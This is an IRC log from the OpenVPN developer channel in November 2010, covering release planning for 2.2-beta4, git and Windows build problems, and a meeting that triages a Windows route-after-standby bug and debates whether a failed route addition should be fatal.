quit [Remote host closed the connection] 03:03 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:12 <@mattock> jamesyonan: sent you mail regarding 2.2-beta4 release 03:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:11 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Left the building] 05:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:54 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:25 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 06:29 < ecrist> can we also get a windows build that has the save password enabled? 08:00 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:16 -!- dazo is now known as dazo_afk 09:47 <@mattock> ecrist: should be no problem 09:52 <@mattock> ecrist: asked james to build the Windows installer with that option enabled 10:15 < ecrist> thanks 14:15 <@cron2> dazo: still awake? 14:31 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:40 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Remote host closed the connection] 23:06 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:06 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 23:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Tue Nov 23 2010 00:36 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:01 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 02:14 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel --- Log closed Tue Nov 23 02:18:51 2010 --- Log opened Tue Nov 23 02:36:14 2010 02:36 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 02:36 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 0 voices, 12 normal] 02:36 -!- Irssi: Join to #openvpn-devel was synced in 27 secs 02:39 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Log closed Tue Nov 23 02:48:27 2010 --- Log opened Tue Nov 23 02:59:57 2010 02:59 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 02:59 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] 03:00 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 03:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 03:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:09 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 240 seconds] --- Log closed Tue Nov 23 03:09:55 2010 --- Log opened Tue Nov 23 03:10:01 2010 03:10 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 03:10 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] --- Log closed Tue Nov 23 03:12:59 2010 --- Log opened Tue Nov 23 03:15:03 2010 03:15 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 03:15 -!- Irssi: #openvpn-devel: Total of 19 nicks [6 ops, 0 halfops, 0 voices, 13 normal] 03:15 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 260 seconds] 03:15 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:15 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 03:40 <@cron2> dazo: how can I see which branches a given commit is in? (I was wondering about the Solaris/tap change, which is in 2.2beta but not in allmerged(yet)) 03:40 <@cron2> (which is fine, as I said I'd bring it in via feat_ipv6_payload, i was just wondering how to figure such things out) 03:41 <@dazo> cron2: it's in feat_misc ... I belive git describe is the command to figure out such things which you ask for 03:41 * dazo finds some examples 03:46 <@dazo> hmm ... that was trickier than I thought --- Log closed Tue Nov 23 03:55:15 2010 --- Log opened Tue Nov 23 04:18:23 2010 04:18 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 04:18 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 0 voices, 12 normal] 04:18 -!- Irssi: Join to #openvpn-devel was synced in 27 secs 04:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Log closed Tue Nov 23 04:25:02 2010 --- Log opened Tue Nov 23 04:41:11 2010 04:41 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 04:41 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] --- Log closed Tue Nov 23 04:45:08 2010 --- Log opened Tue Nov 23 04:59:57 2010 04:59 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 04:59 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] 04:59 !hubbard.freenode.net [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 05:00 -!- Irssi: Join to #openvpn-devel was synced in 30 secs 05:04 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 05:26 <@dazo> mattock: jamesyonan: anything new on the 2.2-beta4 side? 05:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:09 <@mattock> dazo: no, no response from james 06:10 <@mattock> I can easily generate the debs when james provides the Windows installer 06:12 <@mattock> anybody familiar with nmake makefiles (MS visual studio?) 06:13 <@mattock> example in win/msvc.mak.in 06:13 <@mattock> I got to extend that makefile so that the Python build system builds openvpnserv.exe, too --- Log closed Tue Nov 23 07:19:07 2010 --- Log opened Tue Nov 23 07:19:15 2010 07:19 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 07:19 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 0 voices, 12 normal] 07:19 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 08:14 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:21 -!- _Sud0 [~Sud0@unaffiliated/-sud0/x-6662295] has joined #openvpn-devel 08:39 < ecrist> sup d00ds? 09:20 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 245 seconds] --- Log closed Tue Nov 23 09:20:05 2010 --- Log opened Tue Nov 23 09:20:12 2010 09:20 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:20 -!- Irssi: #openvpn-devel: Total of 19 nicks [6 ops, 0 halfops, 0 voices, 13 normal] 09:20 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 09:24 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 245 seconds] 09:28 -!- You're now known as ecrist 09:41 -!- _Sud0 [~Sud0@unaffiliated/-sud0/x-6662295] has quit [Remote host closed the connection] 11:55 <@dazo> mattock: an earlier discussion suddenly appeared in my mind again .... which openvpn-gui do we ship with 2.2-beta4? If it's still the old one, I'm fine with that - we'll start rolling 2.3 betas first half of next year probably, so we should be able to include it at that point ... but if we're already ready with providing new and old GUI via the installer for beta4, I'm keen on doing that as well 11:56 <@mattock> I think it's best to go with the old gui as long as james makes the builds... when the new build system is fully functional adding another (optional) gui is not a big issue 11:57 <@mattock> the packaging aspects of the new build system, that is 11:57 <@dazo> okay, then that's how it's gonna be ... I'm sure the new GUI won't mind to stabilise even further 11:59 <@mattock> frankly, I was under the impression that the new build system was fully functional... but it's still missing a few key parts 11:59 <@mattock> takes more time than expected 12:01 <@dazo> ahh, well that explains a lot too ... as I was under the impression we would do this build on the community servers 12:01 <@dazo> anyway, I'm not grumbling about that ... to manage a release roughly 1 year after the 2.1 release is a dramatic improvement from 2.0->2.1 12:02 <@dazo> we've managed quite a lot this year anyhow 12:02 * ecrist is most pleased. 12:03 <@dazo> would be great to have 2.3 beta out in February/March and a release during the late summer ... with complete IPv6 stack 12:04 <@dazo> (but that's just my wishes) 12:42 -!- dazo is now known as dazo_afk 14:29 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: No route to host] 14:46 * cron2 would second that. people are asking for a release with "stable" IPv6 support 15:12 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Wed Nov 24 2010 01:08 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:36 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:02 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 02:30 -!- dazo_afk is now known as dazo 04:03 -!- fkr [x5495sl1f3@devon.fsck.us] has quit [Remote host closed the connection] 06:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:27 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:06 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:21 -!- Netsplit *.net <-> *.split quits: krzie 09:24 -!- Netsplit over, joins: krzie 09:47 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 10:27 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] 11:25 -!- dazo is now known as dazo_afk 12:33 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 16:17 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 245 seconds] 23:40 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:40 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 23:40 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Thu Nov 25 2010 01:31 -!- dazo_afk is now known as dazo 03:33 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel --- Log closed Thu Nov 25 06:23:42 2010 --- Log opened Thu Nov 25 06:41:05 2010 06:41 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 06:41 -!- Irssi: #openvpn-devel: Total of 17 nicks [6 ops, 0 halfops, 0 voices, 11 normal] 06:41 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 06:47 <@mattock> ecrist: any news on the OSX keychain patch? 06:47 <@mattock> one guy on tunnelblick-discuss said he'd try it, but no reports from him yet 07:09 <@cron2> mattock: dunno yet. Want to go to Aikido training, but at the moment, it looks like I might have to be @home and wrangle documents for a customer.. 07:09 <@mattock> cron2: ok 07:09 <@mattock> I'll setup the topic page anyways and ask james if he can make it 07:09 <@cron2> I don't have anything particular for the meeting that couldn't be discussed in between (automated client testing :) and coverity) 07:09 <@mattock> cron2: you're killing me with those :D 07:10 <@cron2> mattock: consider the peace of mind you can achieve when those are done! 07:10 <@mattock> meanwhile, Windows is killing me ;) 07:10 <@cron2> ugh 07:10 <@mattock> it's rotting me from inside, slowly... and when I notice it, it's already too late :) 07:12 <@mattock> dazo: any suggestions what to do when I've mistakenly edited stuff in the wrong git branch and would move the changes to the correct branch? git checkout complains about merging 07:36 <@dazo> mattock: git stash .... git checkout and git stash pop 07:37 <@mattock> dazo: thanks, I was following the wrong trail :) 07:38 <@dazo> mattock: git stash puts all changes into a "stash branch" cleaning up the tree to a unchanged state .... and you can do git stash more times .... and git stash apply to just apply one such stash to the tree again (you can name the stashes directly) or git stash pop which applies the stash and revmoves it from the stash pile 07:38 <@dazo> it's a brilliant feature I use quite so often :) 07:39 <@dazo> mattock: for the meeting today ... we should probably continue on the list from last week 07:39 <@mattock> good idea 07:40 <@mattock> got distracted, will fix the git repo and then create the meeting topic list 07:40 <@dazo> :) 07:42 <@mattock> seemed to work 07:42 <@dazo> cool! 07:43 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-11-25 07:43 <@vpnHelper> Title: Topics-2010-11-25 – OpenVPN Community (at community.openvpn.net) 07:48 <@mattock> ok, mail sent to james 08:27 <@mattock> do you guys think that anyone using the old Windows build system is using Visual Studio? I'm wondering if just #ifndef _MSVC_VER would be good enough to avoid configure.h problems in the new build system 08:30 <@cron2> I don't think anyone sane builds stuff on windows *duck&run* 08:48 <@mattock> cron2: yeah, I agree :) 08:48 <@mattock> for some reason #ifndef _MSVC_VER;#include configure.h;#endif does no do the trick... 08:58 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:59 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:02 <@mattock> oh yeah, it was _MSC_VER, not _MSVC_VER 09:02 <@mattock> http://predef.sourceforge.net/precomp.html#sec35 09:02 <@vpnHelper> Title: Pre-defined Compiler Macros (at predef.sourceforge.net) 09:13 -!- Busch [~Busch@74.117.157.223] has joined #openvpn-devel 09:15 <@mattock> dazo: the Visual Studio linker gives a fatal error: 09:15 <@mattock> socks.obj : error LNK2019: unresolved external symbol _snprintf referenced in function _socks_username_password_auth 09:15 <@mattock> causes a build failure (in beta2.2 branch) 09:16 < Busch> I heared, that theres a meeting today. Please, pleaks look at this bug: https://community.openvpn.net/openvpn/ticket/56 09:16 <@vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 09:16 < Busch> I can confirm that bug on XP, Vista and 7 09:17 <@mattock> busch: yeah, that one... d457k has the latest info on that I think 09:17 <@mattock> d457k: are you there and/or able to attend the meeting? 09:17 <@mattock> busch: I'll add it to the agenda 09:18 < Busch> mattock: Thank you very much. I will also be here at the meeting. Should i post logs and configs related to this issue somewhere? 09:19 <@mattock> that's probably a good idea. dazo: logs with verb 5? 09:21 <@mattock> busch: topic list updated: https://community.openvpn.net/openvpn/wiki/Topics-2010-11-25 09:21 <@vpnHelper> Title: Topics-2010-11-25 – OpenVPN Community (at community.openvpn.net) 09:21 <@mattock> I got to go now, but will be back before the meeting 09:25 <@d457k> Busch: are you using the service? 09:25 < Busch> d457k: no 09:28 <@d457k> Busch: are you using the GUI or start ovpn from the command line? 09:29 < Busch> d457k: Yes 09:29 < Busch> d457k: Oh, the GUI 09:32 <@d457k> Busch: ok then it's def a thing for me 09:33 <@d457k> have you tried out the latest snapshot of the GUI? 09:39 < Busch> d457k: No, i always use the latest official version of openvpn 09:40 < Busch> d457k: Now it is openvpn 2.2-beta3 09:42 <@d457k> Busch: you may want to try the latest from here: http://sourceforge.net/projects/openvpn-gui/files/ 09:42 <@vpnHelper> Title: Browse OpenVPN GUI Files on SourceForge.net (at sourceforge.net) 09:42 <@d457k> could be I fixed it already 09:44 < Busch> d457k: OK, i`ll test it out in one or two hours 09:46 <@d457k> great, not sure if i make it to the meeting tonight. what should happen is that the tunnel go down when you suspend the system and up again when you resume. So, unless you append to the log, there should be a connection attempt when you resume right on topin the log file. 09:47 <@d457k> if there's no such attempt it's the GUIs fault. otherwise it's probably in ovpn directly. 10:23 * dazo is back 10:24 <@dazo> mattock: Busch: verbose logs are always good minimum 5 if possible 10:24 <@dazo> but I briefly remember this was discussed a while ago .... but don't recall much from that time 10:25 * dazo continued to read the scrollback and see the issue is safely in d457k's hands 11:20 -!- Busch_ [~Busch@109.73.50.57] has joined #openvpn-devel 11:24 -!- Busch [~Busch@74.117.157.223] has quit [Ping timeout: 264 seconds] 11:25 -!- Busch_ [~Busch@109.73.50.57] has quit [Ping timeout: 240 seconds] 11:31 -!- dazo is now known as dazo_afk 11:33 -!- Busch [~Busch@109.73.50.57] has joined #openvpn-devel 11:51 -!- Busch [~Busch@109.73.50.57] has quit [Ping timeout: 240 seconds] 11:55 <@d457k> is the meeting now or in an hour? 11:58 <@mattock> now 12:00 <@cron2> oh, meeting 12:00 * cron2 happens to be here 12:00 <@d457k> if Busch doesn't rejoin in the next 15 minutes you have to handle his issue as I'll be on my way home 12:01 -!- dazo_afk is now known as dazo 12:02 -!- Busch [~Busch@109.73.50.57] has joined #openvpn-devel 12:02 <@d457k> Busch: welcome back 12:02 <@mattock> let's start with https://community.openvpn.net/openvpn/ticket/56 12:02 <@vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 12:02 <@d457k> can we pull the suspend issue up dront 12:02 <@mattock> cron2: good thing you made it! 12:03 <@mattock> d457k: yep, as I suggested above ;) 12:03 < krzee> oh cool the meeting starts earlier now 12:03 <@dazo> krzee: wintertime ;-) 12:03 <@mattock> yeah, winter time... always bites you 12:03 <@mattock> busch: did you get the logs? 12:03 <@d457k> mattock: oh my, attention span of a brick today... sry 12:04 <@mattock> no prob 12:05 < Busch> mattock: Here`s the Log anfter standby with verb 5: http://dpaste.org/Rbzk/ 12:05 < Busch> -anfter +after 12:05 < krzee> The reconnection fails 12:05 < krzee> because the route to the server is _not_ restored 12:05 < krzee> after standby. 12:06 < krzee> the route to server should never be removed 12:06 <@mattock> d457k: does that look the problem you fixed in your GUI? 12:06 < krzee> when redirect-gateway is used, a direct route to the vpn server is made, otherwise the vpn would fail after connecting 12:06 < Busch> Sometimes it fails, sometimes it works after a couple "Route: Waiting for TUN/TAP interface to come up..." 12:07 < krzee> ahh, try adding route-delay to your config 12:07 <@d457k> mattock: no the gui restarts ovpn correctly 12:07 <@mattock> ok 12:07 < krzee> thats a somewhat normal issue with windows 12:07 < krzee> it happens when booting if you start ovpn as a service, since you dont you only get it when waking 12:08 < krzee> not a -devel issue 12:08 < krzee> (assuming it fixes it for you) 12:08 < krzee> Busch, can you test that? 12:09 < Busch> Im not using the service 12:09 < krzee> i know 12:09 < krzee> you are waking and triggering something that often happens to people who start on boot 12:09 < krzee> just put route-delay in the config and test it please =] 12:09 < Busch> ok 12:10 < Busch> How many seconds? 5 ? 12:10 <@mattock> if that fixes the issues then I'll update the bug report with krzee's information 12:10 <@mattock> as a workaround 12:11 <@d457k> krzee: so are the route not there even the log says so or what's the issue here? 12:11 <@dazo> mattock: d457k: correct me if I'm wrong ... but isn't Busch issue different from that ticket? 12:12 <@d457k> dazo: i fell like agreeing 12:12 < krzee> dazo, according to the ticket... but the ticket includes false info 12:12 -!- Busch_ [~Busch@109.73.50.57] has joined #openvpn-devel 12:12 < krzee> dazo, it says this: 12:12 < krzee> The reconnection fails 12:12 < krzee> because the route to the server is _not_ restored 12:12 < krzee> after standby. 12:12 < krzee> which is plain ol false 12:13 < krzee> there is no route to the server needing to be "restored" 12:13 < krzee> if the routes get dropped, there is nothing to override, if they dont there is already a route direct to server 12:13 <@dazo> mm 12:13 < krzee> and theres no way its dropping only *some* routes 12:14 < krzee> Busch, howd that work for ya? 12:14 <@dazo> agreed 12:14 <@dazo> it's all or nothing 12:14 <@d457k> the routes (to the remote networks i suppose) are removed, because the gui stops ovpn alltogether and reestablishes the tunnel when the sys comes back up 12:15 < krzee> d457k, can you replicate the bug? and if so, have you tried the setting i recommended? also you could try adding persist-tun to your config 12:16 -!- Busch [~Busch@109.73.50.57] has quit [Ping timeout: 276 seconds] 12:16 <@d457k> krzee: persist wouldn't help as the ovpn process is stopped on suspend 12:16 <@d457k> krzee: but no, I can't replicate 12:16 -!- Busch [~Busch@109.73.50.57] has joined #openvpn-devel 12:17 -!- Busch_ [~Busch@109.73.50.57] has quit [Ping timeout: 265 seconds] 12:18 < Busch> I added "route-delay 5" to my config. It seems to work 12:18 <@d457k> Busch: glad it worked 12:18 <@mattock> what if I add a comment to the ticket along these lines: "This issue may be caused by routes being brought up too soon either by the openvpn service (on boot) or openvpn-gui (on suspend/hibernate). Using route-delay 5 in your configuration may help - if it does, please mention it so this bug report can be closed." 12:18 <@d457k> all: I'm outta here 12:19 <@mattock> d457k: bye! 12:19 <@mattock> thanks for popping in! 12:19 < krzee> Busch, 5 will still give problems sometimes 12:19 < krzee> remove the 5, default of 30 will be good 12:19 < Busch> krzee: ok 12:19 <@d457k> mattock: no need to 12:20 <@d457k> bye 12:20 < krzee> mattock, i think that is good, but remove 5 from the route-delay 12:20 <@mattock> ok 12:20 < krzee> tell them if they continue to have this problem with route-delay, to include a log of it at verb 5 as an attachment 12:21 <@mattock> do you think we can close this bug report? 12:21 < krzee> i do 12:21 < krzee> maybe give them a lil time to respond 12:21 < krzee> like next week during the meeting we can close it if they havnt responded 12:21 <@mattock> ok, I'll update the ticket and we'll close it later... next week sounds good 12:24 <@mattock> https://community.openvpn.net/openvpn/ticket/56 12:24 <@vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 12:24 <@mattock> shall we move on? 12:24 <@dazo> +1 12:24 <@mattock> bugs or patch queue? 12:24 <@dazo> bugs 12:24 <@dazo> :) 12:24 <@cron2> there are no bugs 12:24 <@cron2> next 12:25 <@dazo> lol 12:25 <@mattock> there is one possible bug: https://community.openvpn.net/openvpn/ticket/68 12:25 <@vpnHelper> Title: #68 (Windows route add command failed) – OpenVPN Community (at community.openvpn.net) 12:25 <@mattock> but as we have no bugs, ... next 12:25 <@mattock> :) 12:25 < Busch> mattock: Now it fails: http://dpaste.org/8AOJ/ 12:25 <@dazo> cron2: almost .... it might be we possibly have one bug .... unless we #define it as NOTABUG 12:26 <@mattock> busch: with route-delay 30? 12:26 < Busch> mattock: yes 12:27 < Busch> mattock: here is the clients config: http://dpaste.org/04K9/ 12:27 < krzee> mattock, can that be considered a bug? he didnt set a param that seems to be needed for windows 12:27 <@cron2> well, this is a more general question - I think that "add route failed" should be fatal 12:28 < krzee> when he compiled his own exe 12:28 <@cron2> not just windows 12:28 < krzee> that i +1 12:28 <@cron2> i've run into this a while ago as well - the user had not enough permissions, so adding routes failed, but openvpn seemed to succeed - so I spend quite a while searching the bug in the server config 12:28 <@mattock> busch: can you do more extensive tests with the route-delay 30 to see if it helped at all? 12:28 < krzee> mattock, dont need "30" it is default 12:29 <@mattock> ok 12:30 < krzee> interesting 12:30 < krzee> Busch, can you include netstat -rn from each scenario please 12:30 < krzee> also, are you using def1 flag in your redirect-gateway? 12:30 < krzee> if not, that explains it 12:31 <@dazo> I tend to lean against that failing to add routes is a fatal failure .... it's definitely a failure for the user experience, but technically it's not a OpenVPN failure 12:31 <@cron2> it is. it's not doing what it's supposed to do 12:31 < krzee> dazo, if it cant add routes in a routed setup, what good is the vpn being up? 12:31 <@mattock> is there any scenario where failing routes would be ok? 12:31 <@cron2> why would "failure to add a route" be less or more fatal than "failure to do ifconfig"? 12:32 <@mattock> if failing routes always cause openvpn to fail, then I think it's certainly an openvpn issue 12:32 <@dazo> krzee: that's the user experience you are describing there ;-) 12:32 <@cron2> ok, I can see a potential issue - the server might push something that conflicts with already-installed local routes, so the thinking might be "fail softly, and live with the *rest* of the routes, at least" 12:33 < krzee> dazo, a vpn that cant be used for *anything* should not be considered fatal? 12:33 <@cron2> dazo: but with the gui, it's "silently not working" FAIL, and that's something I consider completely inacceptable in any software 12:33 <@cron2> either work, or complain, or at least warn 12:33 < krzee> ild think if the route to the server itself (ie: 10.8.0.1) fails, it is fatal 12:33 <@dazo> krzee: again, that is the user experience ... the tunnel will work ... but you will only be able to access the VPN end-point 12:33 < Busch> krzee: The server does: push "redirect-gateway def1" 12:33 < krzee> dazo, no vpn endpoint access if the route to it fails 12:34 < krzee> Busch, interesting... pls include the netstat -rn in all scenarios then 12:34 <@cron2> kzree: that's ifconfig, so the vpn server is usually working 12:34 <@dazo> krzee: but on most OSes, that route comes automatically (at least in subnet topology) when doing ifconfig 12:34 <@cron2> what I said :) 12:34 <@dazo> yeah :) 12:35 < krzee> ahh ok 12:35 <@cron2> dazo: well, except for all the other OSes that do not do so, like "Solaris"... *roll eyes* 12:35 <@cron2> but that's a different can of worms 12:35 <@mattock> ok, so what's the conclusion? 12:36 < krzee> maybe at least like a warning that you need to be root /admin or something of that sort ...? 12:36 <@mattock> is there something we need to fix? 12:36 <@cron2> "cron2 and dazo disagree" 12:36 <@dazo> it's a failure *if* it failes to add non-existing routes .... if it fails when adding routes which already exists, it is not a failure 12:36 < krzee> dazo, +1 12:36 <@mattock> makes sense 12:36 <@cron2> yep 12:37 < krzee> thats likely a different error code from route command 12:37 <@mattock> I assume openvpn _does_ check if the route exists? 12:37 <@mattock> before trying to add it 12:37 * cron2 giggles 12:37 <@dazo> And tbh ... I think this is the can of worms James avoided by not doing a fatal failure if adding route fails 12:37 < krzee> mattock, even if not, should be a different error code from route command ild assume 12:38 <@dazo> krzee: I would not take that for granted among all the OSes we support 12:38 <@cron2> BSD "man route" doesn't even mention return values, so it's definitely not *documented* 12:38 < krzee> tru (thinks of windows) 12:38 <@cron2> windows has 4 different ways to set the route... 12:38 <@cron2> (or so) 12:38 <@mattock> perhaps we should organize a big "Route return value hackfest?" 12:38 <@dazo> neither Fedora man pages says anything 12:38 <@cron2> can of worms 12:39 <@dazo> I would rather see a different approach for adding routes all in all 12:39 <@cron2> also, the whole "setting of routes on windows for non-admin users" is all broken 12:39 <@cron2> yep 12:39 < krzee> maybe just change the error to mention you need elevated privs and call it a day? 12:39 <@dazo> for Linux and BSD use of the NETLINK API could be better .... and I suppose Windows got something similar 12:39 <@cron2> openvpn service... 12:39 <@dazo> and adding routes via external binaries is the last fallback 12:39 <@cron2> dazo: that's one of the 4 different windows ways 12:39 <@dazo> cron2: how is it on Solaris? Any NETLINK API? 12:40 <@cron2> dazo: most likely some weird solaris specific stuff. One could check the "route" source from OpenSolaris 12:40 <@dazo> good point 12:40 <@mattock> dazo: any reason to maintain a fallback option (=external route program)? 12:41 <@mattock> shouldn't NETLINK API (or whatever) be reliable and relatively stable? 12:41 < krzee> mattock, definitely in windows... route-method exe fixes common issues in some versions of windows 12:41 <@cron2> but this might indeed be worth a try for 2.3 - rip out most of route.c and replace by NETLINK stuff 12:41 <@dazo> mattock: safety if the API is incompatible? 12:41 <@cron2> (and tun.c) 12:41 -!- Busch_ [~Busch@74.117.157.223] has joined #openvpn-devel 12:42 <@mattock> if there's not too much code to maintain, then I have no complaints... 12:42 <@cron2> it's easier for porting to new platforms, though, just to find the right external calls to do, instead of figuring out how the system calls work 12:42 <@dazo> I know the NETLINK API in Linux is design by looking at the BSD implementation ... so I expect them to be similar ... but compatible? I dunno 12:43 <@cron2> long-term thing anyway 12:44 <@mattock> so is it enough to print out "Admin privileges needed" -style message as krzee suggested? And consider more advanced (and reliable?) API stuff later 12:45 <@dazo> that's a short-term solution, to at least give a hint to check it ... but should only be printed once 12:45 <@cron2> it would be useful to be able to push that message to the GUI 12:45 -!- Busch [~Busch@109.73.50.57] has quit [Ping timeout: 240 seconds] 12:45 <@cron2> no idea whether that can be done 12:45 <@mattock> d457k could shed some light on that 12:45 <@dazo> there's an "echo" feature in the management API, which the new GUI uses ... and it can also read the logs from the management API 12:46 < Busch_> krzee: netstat -rn if, [No VPN connection: http://dpaste.org/hjxT/ ], [Successful VPN connection: http://dpaste.org/fCxU/ ], [Failed VPN connection: http://dpaste.org/PTvU/ ] 12:46 < Busch_> sorry, its a german routing table :) 12:46 <@dazo> Busch_: but german routing tables should be more exact! 12:46 <@dazo> :-P 12:47 <@cron2> fully so! 12:47 < krzee> you still have your route 12:47 < krzee> so that isnt the issue 12:48 <@mattock> can we move on to the next issue? I can update the ticket with a mention we discussed the long-term solution here 12:48 <@dazo> mattock: short-term - log entry ... long-term, need to move to NETLINK and similar APIs 12:48 < krzee> +1 12:49 <@mattock> +1 12:49 <@dazo> cron2: do you have libnl available on BSD? 12:49 < krzee> hrm maybe Busch_ in fact does have a bug 12:50 < krzee> hey Busch_ try adding route-method exe to your config 12:50 < krzee> and retest 12:50 <@mattock> next topic when you guys are ready: https://community.openvpn.net/openvpn/ticket/35 12:50 <@vpnHelper> Title: #35 (No magic limitation on socket size) – OpenVPN Community (at community.openvpn.net) 12:50 < krzee> Busch_, pls feel free to reply in msg so we can move on in the meeting 12:50 < Busch_> krzee: ok 12:51 <@cron2> dazo: no. what functions are in there? 12:51 <@dazo> cron2: http://libnl.sourcearchive.com/documentation/1.1-6/main.html 12:51 <@vpnHelper> Title: libnl sourcecode, main.html, 1.1-6 (at libnl.sourcearchive.com) 12:51 <@cron2> just tell me something that's needed, and I check whether a corresponding man page exists 12:51 <@dazo> rtnl_route_add() 12:51 < krzee> mattock, now thats an interesting topic... i hear a lot of talk of openvpn not performing well (but low cpu usage) on very fast links... that could be part of it 12:52 <@cron2> dazo: nothing 12:52 * dazo thought so 12:52 <@cron2> ok, guys, need to leave (sorry). Wife is hungry. 12:52 < krzee> adios cron2 12:53 